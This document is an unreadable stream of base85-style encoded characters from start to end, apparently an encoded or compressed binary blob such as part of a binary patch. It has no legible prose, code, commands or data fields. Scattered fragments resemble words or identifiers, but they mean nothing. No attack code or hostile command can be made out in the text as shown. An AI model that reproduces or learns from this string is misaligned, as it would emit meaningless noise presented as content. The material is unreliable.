zDW{zy)l1Q@w^5nx&DD5N%S$bxNTZ~CsFzZe?(}4QM|rns^1|qY_2LkYkZ!+(4AnXW z7X;F>mSj0t>V)mPC{d3$32v(i5_lQr#}LYXd#K*r${`c>N7grZ#fi(}H>|vo{X^Nn zT$RGacz7H1u(Biv<3_ydhwKU2Vyr%>3GEsS3EI3>q{qfpSbCYiYW-cJT&=J{zq8|t za|C%)-B0n<3i7UrxVqfV$ih=~YIR14A5h)vgf ze`-ipadB;I-Bs{Sm&$=zuJb2h$Dy9Uy~9w}9y#K-%xFCOOkNU}hgc-IvZS2l&#qhX zMYfcwd>FNGu?tcll;S;-U{q=PG`<)r)5H=-Dy!-l_&3( z9?KuH&$wRyGN&Uh!I_BpuFQzSf_M!sE@PGN0|SZ+$*HSyT5%>Qy=azQrnCk-UlZ~5 z-c*I{E7h+J&C8 z8CsrMLXRxFS>|s~Kd{~J8!W$r`$A=@)F!KM;WQn=WBGf88~m z{52*)Wfa+EQa7X`K^WSG&P=s5$m9j1slE=)H=A)-#-})-5??F*&94~kJ zTwDUjRcM?Xq~=M)e9W0{$#laf>#KP&q;t+^W3~MqQxFc7Ki&#CwZ#^#P`aD7g$q&6 zg0N~NK9xT}Us-PZM4B!Zx;UTwechA^>xe6u?qA8XhE3|(-pb1 z*&+9|FgwcrtBqGM-m{i@b;??N4=CptU|WVWp=or5+K$iwKnHfmH;Y>WP%%c+ULL;T z`u%4q$e4eqY%ICnbOwGg1#SRshZvxjI;f$)x8DHVGZS~gO&2@QWM9#NTmuLLx z3MSvJkfo#{v^6}k?k&NyNLlVQP3c(bhe5$v;=T<04}G=9thO0_>9fJi`YMWwWc9fsMKXMs30-YJ*X!k27@pf8{~h}+ zKW70t!r!N#e_7^58K_U&J`)UT|M37?y*OhZdNwM88}Y7{C_SqxvA$n5_cEO|IHw?% zIlokfMYvRH>@ZbJqbrjUr8avz&AD<;!;H1kaxLGEJoF+Lah%E8TyG&KYt+??fa{t< z_Jb8(R(>{jj^I@t^v<$ZoJ!e`Tjups=`VFR@pkGd{l$B6rNGWRofo}vR;A{KkpM}j zqBpeh-EBVF@bB@u+UE17Cp2>DyYwBc4X!kw^?Z3ujtp{~d`uu4ad+9}E}7C=#!a=Z zJ<(q7v&+GE&n+XM!UIoGeMJV^$m^r$u}+=!@KZ3Ag_davI$<~R)=ac!uH)St+RUFx zBjbFPb#6hdWd=nnvWK!i!ZSwi zxf4yENi4yM9kQ)2PzFV*PPZWW6;K)xpVu{L()2hR& z8{hO?5`uZYIG73XTaH_~Oo*7tSkHY=O{w4KO*T(?T}n&(trs^wmr(R4}CB85yoN_QrayOW^c|a2Te~>CC_z-0|rvv&r2wDF8h2 z=a$2=m{5n>03`yichcmte1JQp9+!7EqWmDOo~#qEsdMt{n`QDWx5q_$BpoZAZo$Ip zKh$WnTeEpFax%j=;>;gz3e@3yoe1QAq);9%H>Ii~z9!OcTSk~-bB)$_R;#(Yz{{LB z@3VO@7G8aBTb*)f0!i%8o5n_muc9Us+;ndQmOfP99GRQc>!OPCDnFa@Czi;5<7FB#j~c=^4ey4Qi%(7tC8 zgz}=yYip$C9vqjEyoL)^@mf94Mc;P_1cuXYuct>2IrL9 zFq?EfMOt4QkpKZp%yx1$_?(*aO|}YuuHT5&JR^yfg->iSm3CT5rHrW~+r8XVyKs1-^Ri}vQoYgype$yR=e}~oH?!+ue9^?Uvy|1YgSc1 zJUVheCuRA$c*%p3_@o!nhEh#wD3e08g5(WkKM3hgS*%7oI=#RiO=Z+5ZYxrCEy~AZ zS-(6~I>+ok`zY(lUp2FD$=7Nn{@|vMcj)Xjl(-turJJ8H-EszbqO1srso`*S**`POoNUue_{c zmshgMXC55ZGz#Z@uyKTbWS-QN08Z{P5>}5>nYiWQP*i1^F6{Vx$;DhLdUtbiqyEq> zR(53$$6I^mx9I5)PfoOZiCJBLhL!jy*x;2xMCQ5nyw#Z9&fLkb9IyVA_)GhWugZ(I z2{X8#$090dmrXz++iZ~@y+VmHX*f=Xi|*e$1< zC2UPV!qyleB1@ErvT6Vup_PG_-~vR&03oaq1p*Nb8YK~eEQxFb2nI-qvIQXonR=d{ zGxnJebLO1+&|lxFs#mY>ySM88{`FqPQx@E`r%&8$n+l<;$F4iX$F}3YdHxt>`2nnG zN*KdT#?t+&2InS~2TW17CpBG07_R09=B6-!F$yAnZolM5DR{I|Y%f|%G|dV-N?}N< z!`J+n{~Ev=VxqU8ShJ%6ce8TT2gW;)xplcqyZc$Y6nWa`p|PLGwoP5q-KLZfg%10V zrHgnv23}*}vFMg$`q?Nt({uhb>*_}rNUfhd&||Yw??p#qlrFQ#@zy;R!2ux*Eh-N3 z1yQDRE6D5@%k_Rrn;Gbc%D_##i;LaL&BN1Je zSzQ*;UDja-O6V)PDo&20T}&D)6J?V@OL5dU2y)7|PPeh=t}TD#v6Reg?YZnfCk=w$lIet#NKDQg#2(0k|!?D^V)!i5D$U^sF%4eVMVfZ#tpvPLKF zrMPlsz^(@YeKuHUq9~6-gP$t@k91ORpYo)+Vj} z)d$6imc1XXic$T9^}B>`+H>LM{r0%({9ENN2a7BR%T5#UDUc(8RmTl%czJzXb4DMj z!&%vTzPmYRe&N)G<}-J%>0jG;U5Ppp=-OL4&MGXQ?AU1W&`iY&>|d9ai`yhrIc~u` zhqKo0S4{8^7#oVWFpmqo#C7&X+ux&2qE%C{*F7Iq^{1zQ!S-_+O@*-F57B0gJYP;g z5`4lCm8z+6QK}E%WgWG)H6-+4-^n{JjJ>pNJ(S56v#R~|{eix4C6TXdpb+lbhZ;o! zQ2eVg=IjVLVLrJaST&UGPRq#_a=L6US-dI&`zI3!U;%wAx25IY;6G%GW$K$zDXj%6 z-H$U}*_Te#x!9vK=>ArILJtFOf+BqRSfTIH@34L|z1&kd6%QgG4e&S^HfadHR2_NF zy6`wcZf&wlzOcFFkO(B;lfxbZceiPg7KLonJc?wdtCbTyAr+3bB=Mm)^ocu{NLFLzajE88YH2$oPlTs3ti>BZvs zJta0s+QWHlM()eRPDY@34J%XlP^UFxl;&H^VRhLeoUCIw6(wTwIhZW4ER=Y!AT%{U z=(U78RqApqnAbEjyYYshJtSMTKnlp2RpeFgEzJ5hwE@smVoMnQI`^HfsjYe}VdqjL z*OpN2XB`yV%{yEZ@v^u=8hSUZ1L1WTS3`9)*w^Z0WVxTy=VD*wvd!*(xaRBlw(O{5 zwbO?zAC_k5uLoe}kQO=R?Z}LYH}!lE+YZrxNgZquFc`K%@t0^37qI1^T4_9OL8;&A?%uXYw__#+QQ4Li-d&c##*Pxhi z%N<0b5!hRpE9|g}H8c|6+YArQ-z#@CD%qE-t}GPnsx6~)M?ZzdH>F)hYI%j~Nw!?9 z+|I#!&D_{`-j1Y_k%~ADQvZ<`^3qfDlm639sotD(W5-o@Z!@pT$x#CZYVI4ua%8Gd zMvBFh7LSfwA>xBlr3`ohU+|)n4VfmLn5Q&h4p|`;I7KXXp(L*9cWxs)htcciaV&U9 zsg9&v{8Lw*Reb$^nwvtdQ$gUgXn);bcuy}c7q>do5-`IlVyP`5s&V!a|6TGCn%df? zj1?Z##_g~^Tk-c|xSLoN=#_@5x%k$Kl@yO z5Aro?-tw$WUK-}9fj5@Kkn#hUkqm{okUeX1C*~|;iAgNxk}!~f)|Lxqim&i`c)c_y z2-+S`15>>*aM%BkHf1nKF4dU(e~P64X3u{$Q2c|pUX9JSn;`;Sed2$@&X`mYki$gJ zri%#{pmtjpS1IJJ-4ZP~Z*{nyHDCNm3F0!xz=;DigrzMt#5IFyo)pqgZ>=EkW|MVDPgrddGQ( zmk|8zM7BMC*7f7dof+2`hK-iTijYE;@#BD}E3q4d1!tau#*aAAbR}*Ge$WoW^{4Rm z&1s=1n*BQ}&n*@W}Wxn-R*6yH~#yA*?U%;2f@0T@I W$oz}$N*iQPz0P*&E^+{WD6(AIHtqTjje!Z-(EX?DHBXls*p>A4tG-k?%}Ek>xGKb!)K2<73U{t z{bDEPryCvcG0b(GC>(}f!tnepCTFR#8!W~9e^SD8(UQOZIPZfNwx z$qKIEB&`T@GKO*K-R0-I&f@?D6PUtnbjTb`P0XyJ4!n1N%nJp7BQ7)CCHrxUjWO@t z$A|^VRHS6d1kJ7BWNh^8bTCGC4l)iddL}jw4pxqbWXz0AYz&Mn3@nUv%q&n=Mkp&Y z*&jc5`L2V%c&zmFq4Gi^e=G-Dymt+4Y%HJ*4EFZ+^!6!G2tzd9r zJGhw*#eaGTJ=kCKSlC*b{J=*K#sD{gn}Q+M;NhA6<0Dx7>1clq|Ch)3tNXw1-o{A( z@5A|*v521kIt=b$^k0S{dVUW3VG2J_hzHmoRL}~pV`FZmXl`!8_tVP$rU}3j2&*Ea zQ8qHuGq<9UC|w7|B7$$VJD@sfe&gb|@pq14d>jBjZ0N`FZDs zIi!H?>*?6&{4cZo%e@!pG1oKFcl@7b`TNd)okL0rDrRPFqhkhxiwW_8z0(^R=|T13 zx*VKvuscpBEz?z4hsh-9bA`|8#sk za~PQZFY|!1b8s^1GO_8>>9BIK(=jo@Ip}oQS()g#xY*fPSU7d`z>0q^^pDB@Z6O&e zBfv{KCjYnxu@^nC7>t>NQ;&&*jZPQN!Ab`MOhTu_#?DU1p~uX@4qAFT`Z|9u@gJu7 zx22vKSp#cw{D+kRTl>L03UJGRz4~W|iO~-RvCy%yh9ex4_wJvb`4{E<#VCj|KO7vY z14D2R9}Ho>a6KM|f4TbiWBoPqk6}jtew_as1V88h$MFBYhP@%&>{sUhbE+SA{r5?% z&Gl{Ub*$iz4S8=0ni9C8RsJ^+Csg4bwk*SUWoWa7(fQRAli+``l z^EU?xnwywgNtx@x`2eT=r_29w6cCuQKlSAwrYkQhKt=!JVbzBu&nkx$Kx zZ1|Y}Sna~)e~dx|V(1S{6@X@h^RctBu>cOgc=_T8StAFyiHeXB2p84}+T&p1{A19? zp8q&f_3x4F2uOY`_haNgdj1&s)29BR?|zWQ&#OQ^0^!Q=mva3#9{G!I|8M^B_m=)| z&U#_4--}!TjEIZ zZvKYr*Z5rM{SDUzKz`l)4cD*nxzPI?t_y(ty7?QfU*mJ3_cvS@0Qq(EH(bBQ=R)sq zxGn(l>*jB`evQwC-rsOt0OZ%r-*EjJp9{Ue;kp3GubaQ&`ZYcmdVj-p0gzuef5Y`_ zd@l6(}^P==}}X1wek?{0-Ny@ww3Z8?Fn0{JQxYu3zJGq4zgj7XbNn z^EX_-#^*xsZ@4Z1^6TbrxPFb#h2GzAT>#|Q&EIhS8lMZjzu~$7$gi8f;rcZ`7kYog zbpeoHH-E$RYkV&B{)X!UAir+@60Ylie-{*P2EG7l55DOcr0l%`z9mWqdm=9dfjHfR zKwfx2AcyDR{{;v{9tCpgwhH)yX*dLeYd-Ld^d00975GZnV?~GIl`(r4#i!#3o1I@N zBPE@(Daqdnpj3J!`oOV;R!V#_j710Xe6QSAR&^YmUV^E)-%(VNBh^5oxjWh8jDq~+ z@_kD3N@?c%y#{XXH~joAF(V~@n%G~SmC#=+O&zl~uiF0_$?ZcS8Zd}{70IbGE-#Py zb9%a%m>4-7o&Uy$MMY&Lwg3vbCzgOiqX~QOw{Jpna@by8UiD2)z2)}itOV#)RaG=w z+uN(e#Khm{=V67HibBiWa9Ly$1bIav)ci@vE?a}^v zV0AUWc%`O{m>8;3dZ=+$>D8oe?^^Ae=Y`@}^k7XC@_PKdkyVvUr5jg~u6n#g+>t*d z32t|)Bw@%@l8}-@=a_I|0c-cbem-W5M?ytXl1F-0nNJ}9S%kMYO32fvPm`0AwF{r6 zy!kPwC+C|Cr3YzgX^P6q-1_w_EG)T0COs^Fj2E;kj~yIT5f>MiwX?CoA|iTNdH3g| zID&?xsOUA#s~(pMpV4W3z4c?rG>>e0AKs0t6<_u9k*9uM3V}kQgT>~g_wL;*C@Q*) zg@^YQGnHB2f-#*LV;iSco1Gc)>zhK2JT|$eBkcXz zT7fNk&_z3Qb8{-mh?;}V8GtwMv!XFGgXR8Alfj%z`9m(PTd9(fUj}nwonnW^{TWju z=G6^`tZ}UV+1U)esWJvj-_l4z&xeh(r|$6&Q+OVf8k(3Sr=)lt95}ENNQJMmNBfVJ z+vn@I6STIq8JU?;-M#xtv(hOjF0P}%sFx?I5Ws0NT<}(g@6fZgRb0O#rbWYktdHV2 zE{jgf{giEaAUn0HD(Quj) zxox>ibo(4iy%*N>ymo`nZI{gk+=`7aXg5fB2H|R^rgY~AP5hiT3s~6L*f$7Rz2CjV zii(QjblRaQw_BZ#Hm{nBG>8K(kU5fP10{Ap>W%-Dl_ip<=%grPzsLJjjqiAch3{lT zP(V=dt-n7UV0#M}ce~U5tam1m4=if3GMJk*LUtl_4TFe`nfW~`4%N<+L$zYFRdy79 zIcaGOu&y5=N0w--R=&Pe@#6!TWkN#2wr^<)W0>``xU61S{J2foPwmRbX3L%`D>uyq z@=F8D3*^~C38t1=W2VT3HDPEvud-=6OkEjw*_JvvIgwUV($*$>`SRtc%Xa(DV(*&< zU)=IF_vPf|D)xqr4-OAEH=9WFT@J0>4yLYUmCh01BMW$Mf5^`d z-d!GWu9)~J6^+Mg*rm!JlwDaF>rco5)#5*1$xoF!AGPkhl%rF3^(s1nXLa?tYG`)v zqDtZO(CtEjL^39(psg*da2voMM7&Pl9Er6`t?ng>_**UaDyR4Pgx_Ez7m{I)ZdZ3+ zEgW@P&IE*Ez0gH2;!n^(dVU}ZoE&kU`)gysEu8k(+GDt^o4T2) zcO!TaL?N1IF(q(zy6z4LsUAm$r}kdB`WHY1b^8P?Pq*Rv z=g*%vwznz3rl{i_UQJF;_O3a9E|QGl#P+DI*&WbYuaJx2bA`scY@vdao&B7i1vQ%B zJ6cHM+5XBhxN3K{6<)n_Kp;k5pWXQq>6&yY)sfA^J7}e)r3SnYs@%`d=#9UCy-L90 zDQ(V`PP@7bU5On7RKagYM@RGHZch{%hf5se;NTq2ke)YRBXxNM>;_Wz8XdMaT3WHw zBhdjFGi1%Po|i5*XsC39=2LoN8O$8)exEo$Sb_=2J8;I8xDiq2?> zB_$>0#+dy?u6FHZO{c|sM|-Qz!>iSY?dFWp?JE=2@d(}ozKl&wECuXsq{x(lmp9gO zrg3w~AU@Y-QJ%hXM;_tO0Hyo1v|r4MS>Ua=!ssR^2b$F@Z{y^FOHRS zfOzui)n#TDme_nQ{z?&&^L=oa!)oDxx3~A?$7r)JhOF``Do-9gs=05l7I=QFXnOzt zeansPiO-xYaR_S);7tcXYFk4yJUkq6+E&M_ z#oW}~b6+Ft0J2^1unIu85)75!GONQiZ+fDUcX$DQDs>4_QCI&O$Loy8=fWw&vxy7= z9Ijvc>Wa(Wkb%1U>2B(no6DZl`Pr!-F?SdkamnIfLr0Pd2iE9UYr?+me!lOnr?0=& zC5U;cD^-RR;ck!+@q3n*mLT{bS+v{>-`E>54~~s(2L{!7c6yxqEK}X8<=$A)`a*XS zL=O(P?3Lnh{Kf&i2x_FZw>E~>1t0Q@kB@JA*d=p(XR@7R0+|zzRRzpo-0j#D1mxmz zrw71FX0qK+9|*p_p#z?lS=$SXK7jwjMu`_1ZXEmRb|=4ktE=+|7a1b=im9Ql=Y`a< z72x@QKSEyWXi~an-y1Y6Zo`Fy=^=3I`?tCgh6p5b z&e|T>40OlQPK*`BNfA8i_XelCe&sZEIsEqZE3~1XM^;mQZ1qB?AQ46F2b!+tX>T^DB`!&76936Gb zhTF`XURWB)*RCljE6=;QPW##03kV2wl$|6bkj)FVMSeRq@p}DQUQKOzYaDQI1d9Pi zTNoV@k%Ynv`uu4f9UZf93YKX=;LILYF2q)VCJ-JCp?UaFD0?6{B;?yF2qbGadPYV@ zVjW4VCqYDEv0G6Ac6bew#KvrWWyNMFH81b|_wRc1dmyrGfe5+@>`_5WtCI~p?y&Ln z+mSDIb&eag*Gl)togHUGl?TggA2>QXYV<#dGnoi3gnw@i`qcNlKU1v4)Bqu97xy7+kG-3u@>`CdU88ItH zP<{8{;DUOVgNs%qHm-oWqP)C39@K`W++Kre>#zI5cjQcl=t55xb>X|><0AVqy?|E8w_WWA; zx?TSRM#gvKg0J5N2hXU7S&cr(u6Wh=+&1g!*NzUmEW#L0%e!D*Dtda1r0yqjazSm9 zUl;dI0gXHK6ahAgUe2zL3*8XHAuX=&A4Nx7_&M`oM-O0YhN#+vo- zYiD#Oavo{Ul=*&6MRb9no`f65%BTx0r?UD zP|0`P)?cgGmUeM<9Rel+3`+0hU^6*2b-VT&X%5h&Yo+rf;kFBt2R-`0Fi($mDOg#* zm6`(Ap?60Hxkjwk4iT3XB@jy5fVDu_{P5vJ2{1B50I@4SEjUI*RBBUS0LamDc2iT+ z8z4vIRaILem|zjy_Vj0GXY_$v(A+cHP@m*vN)z_zHfBnB;D`b z|0ol`wzZS7MgtDTz#UK{ydIU@t%!h-(D8eaXpYLmQTqv3-o11)0hCSSeGpnpPnV+r zSl^e@v)8)gBhKfd&70fXZ6BNhg8_2EDX?(NtQaA^>{bS+l#W1bWpds#Dc*JmP9^J4 zz_!%cRDBDCa(+=aH@D=E9}xkb-E6cufS8+xo}P-IKR)z`6vAzYNtf0wV_8}YFZBkNF0JDs06|nEE?=6yXJf%$|{Mt1T z5GztrQc~&MK@=pJKwcRw?Pa2HJ8>)rTe0pR9sT6@ zkA7OVeThfQ%!B8oEDR+ z=gF@2!^6XamChV*FiGwBsCgbf^aH-kq+5?t?ACLZdbaO=u6)@Nk!hlkcNCwWPMn7_ z7+?R)`qdn3G`W}&Ql|cU2i|-!&9E^hc$55=BAR7Fb`en(_ zR8`>5hj7!Z7?mmkLKC>>x7kyUaR(2OO)6!nw}7+?6&)Sk5yQo^Hwe3d$2eKRI<08y z43dmRkU)j+6A}%HA$4ENpAWTXPkiZM@-^Ra0|rUCpl8x(02=3bGCf~`&C;(8;EI?VVZ0uBB8 z;qfsHq)LFr7J5@Vub@%NJS|>3DOf|K2Ov@A0nWxNpWU4#icm?q`9rd_?kA8BAPE3U zE~|X4%=g2&^z3T!#K($?7?6p@my~c45D*L&nGyoat1bziazC4Q&lxg-0QT_#QgE&_ ze!bfPs)oC*@*|(Wa-+WQIUDdrjqw3P){|we^RfhVuBT&V+r4FKnMxT-#({mt_1@SO zAiM)*UjFrL_WSqA`FT;GvE*n&aVyTH8-f2AbdsFyr1Enuliax@;^cJ1u%*Yz)U~&} zE1V)9+Z_QV#H}j@P9)&%%ZSAv%Vj;c@s*|XT~yRCT+P6MS|aSB4xoAmN5`Ph(1w+v ze7Q8m`II0~VXz-}d;?<7)bjGk?99fD?K#LPhd?3^L6jMQ_M2;=j^|0wL%Mt!Bqo&H z+#@NYD=Q`faO?WF=WGD?R1JZyu}zI46a0~4bJ5gZY!Z?VAnm?_Ed3IKu=;-KxE@cMHqm-diJ6`Dw>I4WQ0g_nW{W>02L- z>M?f@4K2E4%BO+q$k^I`>x1mc_4Up+hHAfB?a2mQElNhlE_}{C&-i|+G{x!VWwe^= zvt0&YODZK6)6v$`*lr_MY<|IKCnaxul34(60jS|c)nO5Kmr5T zKglJPEPYN#K}DUaK0jqJuh_gQ_y(h4U;x**;Y;~?RolAzxw9?|CYRn-G*fkNG{TGyj*hGV<>TDG-9TtwQ41cR8Tevn8)~nHnoK`QdY?E9MgihH4cHD3 zup}OkLZ7VJSI+=_1qTYQ0)#m~0yZBY^TM}4NvgfQebjY-45T(&ASu`euAJ+zISn9J zKUj3^SD3FDGfU0P^hbDMP7WjA*#YbhgXUL+_z*~Z_n;71yB1|&Toi&!m_gnv&`}yBB4*{T^ua6rnVom#RaK5sO^EQ zE@XSS1=IzT)6(98oF1~ZwFSZBv`A<=WdoEAR6j@>Iue{)L+%stx!?u2AajOQ`r$Es z5MAQ4T~fS5_e==nVD1NXqz)j{>Rz-VA)eUTu>tx{mNpb*i6kJYb9Jq>J{~Q#ZfR~N zqohQRm2LuMhm!d?=Y_s>ToAp1z$(eeCgm_A0#zNLj#Isy^&o~?l_YH_5P0njkWrAiBm%d1w6_<1`6 z&Id+EUHa#NR+$l#k)Z}P8t(Oq;G?6XU^i4X5K|6PHVj2hfX3ur#KDnH&C0?6DiJu) zs!OMCE*2r-ND_jzo~y%>(=etI*fQRMltpt)W}0@Y;2&adJ_j{Y;6Q*8yY@J+(unAuLts!w9lWds`j?G z>wsX&v^y!N9NRUO;qG&^15U8Fz_ktt7348syq=z3bLca$VdQCpFB21_q2diaDH7%A zvK?MCGPNaLh}ujTomvTk4e|{Fts`3_cLp}5>Ol2`oPq)g=-c)2N_=(`JW$qfaCV*n z6I)qX1s3aoOb?OyA|y0O>wG|#oilR8&dRz03=UD1F)N+DGe1Ko(_mJdBuhizI*Wqq z^f2CZ;%xM&ML)kK?-qz%)rRvAqd;B?5fT>GDIU2`M^{OP?&t3h#waK$%~_5)_ki;S zm*E3h8Xy^Dv03N}{%Dk! z0(iZ9bb?p-tQ{1iK(sqJK4vlMp+schplSq$hlGU4%F1>n!AZ_<4!u1eGGPZ99ioVU z$ov3fMo3Ztj*^L#v9Mqi4J1iPN~(j8Ef4wl`B4HHg~@mD0#sPyw zsF(KOd+#p~U}h?{fjkSJ&&46|n`-vJ_7^mU9C+Iuu&|+_q4w@lpUe5_K9G4snMYSa zPAMl>3m&p-(FUZdD+Tb^o}P?OJBDEoRRyfASwOYv^mxBKL!w%?V?f1D+1}N8+R-6* zx3^`f2*`aXH#hKIM8pAE6K6aI1qi7pH)DfS?sJUU;E=lRU_)aAM$F3nxz|cO5E%`w zro&5+?15x45}|doPEU4vWe&lw#yIy`TNGeR(({vfenjdQ^Kv{*Utbj1R}`BuLN0*^ znFo2uaxN5jc@(00uLg{yV6kkO0o3Jy%?;(~cx>ms0zw~DT5`eTfqdUNqXRJx)UZ>4 zk4CqP07AgzKgnqee=MUs0qRXw4Y!pyKop+=(I@1-0w_Iknnog?0})O^iJDR*DF_iO z%a*g~Wp0&Xbu|5e;kb8uLw6}PxG%G)D2)GfQO3s3j#<0r1qtu|4_OhUJ6_?q=eRw0 zN=snOh}SU$8w2GxX}2v+@X{i?9mIo|TLa&;QNR3;l-CP0*k0WwP}Yv8K3)^%b!i20#MLm88%-XF3e*U z1|tFUqdoppw^Cx^{#@Y41%8T4_ha?GGKemk26rIt%K-ZUN}L6){`e%TY~(Vfe{vA( z`^H{Y>fk-?ds9izWXkBwoG8RN1}F;nwwPUD(eYI9x;7viSErI1(vm>n$n4c@$edf8b@!>*J zpbAhpeSLjvSEdu|Y!B|?soz9~+h9eElOyg6Vl{~Q$o-MZ+(jURdTb8Iq;~N8s*7oV z8jT}EKo923rwJkfZ71qYWe(2bCduxb&=QZ=?c_wNcLdv)P`<8SuQ